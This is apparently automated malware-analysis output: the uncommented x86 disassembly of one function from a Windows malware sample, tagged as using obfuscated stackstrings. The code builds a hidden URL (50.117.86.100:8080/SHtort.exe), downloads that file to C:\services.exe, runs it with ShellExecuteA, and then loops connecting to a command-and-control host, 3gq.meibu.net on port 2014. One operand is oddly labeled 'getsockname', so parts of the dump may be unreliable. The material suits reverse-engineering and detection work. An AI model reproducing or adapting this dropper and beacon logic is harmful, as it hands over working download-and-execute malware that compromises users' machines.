Function at 0x40af82
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xa0d4
call fcn.004130c0
mov byte [ebp - 0x114], 0x53
mov byte [ebp - 0x113], 0x4f
mov byte [ebp - 0x112], 0x46
mov byte [ebp - 0x111], 0x54
mov byte [ebp - 0x110], 0x57
mov byte [ebp - 0x10f], 0x41
mov byte [ebp - 0x10e], 0x52
mov byte [ebp - 0x10d], 0x45
mov byte [ebp - 0x10c], 0x5c
mov byte [ebp - 0x10b], 0x4f
mov byte [ebp - 0x10a], 0x44
mov byte [ebp - 0x109], 0x42
mov byte [ebp - 0x108], 0x43
mov byte [ebp - 0x107], 0
lea eax, [ebp - 0x25c]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x114]
push ecx
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40b01c
xor eax, eax
jmp 0x40b4c6
mov byte [ebp - 0x178], 0x68
mov byte [ebp - 0x177], 0x74
mov byte [ebp - 0x176], 0x74
mov byte [ebp - 0x175], 0x70
mov byte [ebp - 0x174], 0x3a
mov byte [ebp - 0x173], 0x2f
mov byte [ebp - 0x172], 0x2f
mov byte [ebp - 0x171], 0x35
mov byte [ebp - 0x170], 0x30
mov byte [ebp - 0x16f], 0x2e
mov byte [ebp - 0x16e], 0x31
mov byte [ebp - 0x16d], 0x31
mov byte [ebp - 0x16c], 0x37
mov byte [ebp - 0x16b], 0x2e
mov byte [ebp - 0x16a], 0x38
mov byte [ebp - 0x169], 0x36
mov byte [ebp - 0x168], 0x2e
mov byte [ebp - 0x167], 0x31
mov byte [ebp - 0x166], 0x30
mov byte [ebp - 0x165], 0x30
mov byte [ebp - 0x164], 0x3a
mov byte [ebp - 0x163], 0x38
mov byte [ebp - 0x162], 0x30
mov byte [ebp - 0x161], 0x38
mov byte [ebp - 0x160], 0x30
mov byte [ebp - 0x15f], 0x2f
mov byte [ebp - 0x15e], 0x53
mov byte [ebp - 0x15d], 0x48
mov byte [ebp - 0x15c], 0x74
mov byte [ebp - 0x15b], 0x6f
mov byte [ebp - 0x15a], 0x72
mov byte [ebp - 0x159], 0x74
mov byte [ebp - 0x158], 0x2e
mov byte [ebp - 0x157], 0x65
mov byte [ebp - 0x156], 0x78
mov byte [ebp - 0x155], 0x65
mov byte [ebp - 0x154], 0
mov dword [ebp - 0x118], 0
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x184], eax
push 0x2000000
push 0
push str.winsta0
call dword [sym.imp.USER32.dll_OpenWindowStationA]
mov dword [ebp - 0x180], eax
push str.ShellExecuteA
push str.SHELL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x250], eax
push str.URLDownloadToFileA
push str.urlmon.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24c], eax
push 0
push 0
push str.C:_services.exe
lea edx, [ebp - 0x178]
push edx
push 0
call dword [ebp - 0x24c]
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
push 0
push 0
push str.c:_services.exe
push str.open
push 0
call dword [ebp - 0x250]
cmp dword [ebp - 0x180], 0
je 0x40b1d8
mov eax, dword [ebp - 0x180]
push eax
call dword [sym.imp.USER32.dll_SetProcessWindowStation]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0x50
mov dword [ebp - 0x258], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x17c], 0
lea ecx, [ebp - 0x240]
call fcn.00401900
mov byte [ebp - 0x260], 0
mov ecx, 1
test ecx, ecx
je 0x40b489
mov edx, dword [ebp - 0x260]
and edx, 0xff
test edx, edx
je 0x40b2d0
mov eax, dword [ebp - 0x260]
and eax, 0xff
cmp eax, 3
je 0x40b2d0
mov dword [ebp - 0xa0d0], 0
jmp 0x40b27d
mov ecx, dword [ebp - 0xa0d0]
add ecx, 1
mov dword [ebp - 0xa0d0], ecx
cmp dword [ebp - 0xa0d0], 0x7d0
jge 0x40b2d0
lea edx, [ebp - 0x150]
push edx
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
je 0x40b2c6
lea ecx, [ebp - 0x240]
call fcn.00402921
mov eax, dword [ebp - 0x17c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b2d0
push 0x3c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40b26e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x264], eax
push str.2014
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
push eax
push str.3gq.meibu.net
lea ecx, [ebp - 0x240]
call fcn.00401b33
and eax, 0xff
test eax, eax
jne 0x40b310
mov byte [ebp - 0x260], 2
jmp 0x40b235
mov dword [ebp - 0xa0cc], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x264]
push eax
lea ecx, [ebp - 0x240]
push ecx
lea edx, [ebp - 0x104]
push edx
call fcn.0040ac17
add esp, 0xc
push str.2014
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
push eax
push str.3gq.meibu.net
lea eax, [ebp - 0x150]
push eax
mov ecx, dword [0x41a264]
push ecx
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x240]
push eax
lea ecx, [ebp - 0xa0c4]
call fcn.0040621b
lea ecx, [ebp - 0xa0c4]
push ecx
lea ecx, [ebp - 0x240]
call fcn.00402cf9
mov dword [ebp - 0x268], 0
jmp 0x40b3a5
mov edx, dword [ebp - 0x268]
add edx, 1
mov dword [ebp - 0x268], edx
cmp dword [ebp - 0x268], 0xa
jge 0x40b3cf
lea ecx, [ebp - 0xa0c4]
call fcn.00406715
and eax, 0xff
test eax, eax
jne 0x40b3cf
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40b396
lea ecx, [ebp - 0xa0c4]
call fcn.00406715
and eax, 0xff
test eax, eax
jne 0x40b3f3
lea ecx, [ebp - 0xa0c4]
call fcn.00406320
jmp 0x40b235
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x264], eax
lea eax, [ebp - 0x150]
push eax
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 0x17c], eax
push 0x64
mov ecx, dword [ebp - 0x194]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xa0c8], eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x17c], 0
jne 0x40b44b
cmp dword [ebp - 0xa0c8], 0
jne 0x40b3ff
cmp dword [ebp - 0x17c], 0
je 0x40b479
lea ecx, [ebp - 0x240]
call fcn.00402921
mov edx, dword [ebp - 0x17c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0xa0c4]
call fcn.00406320
jmp 0x40b489
lea ecx, [ebp - 0xa0c4]
call fcn.00406320
jmp 0x40b235
push 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xa0d4], 0
lea ecx, [ebp - 0x240]
call fcn.00401a64
mov eax, dword [ebp - 0xa0d4]
mov esp, ebp
pop ebp
ret 0x10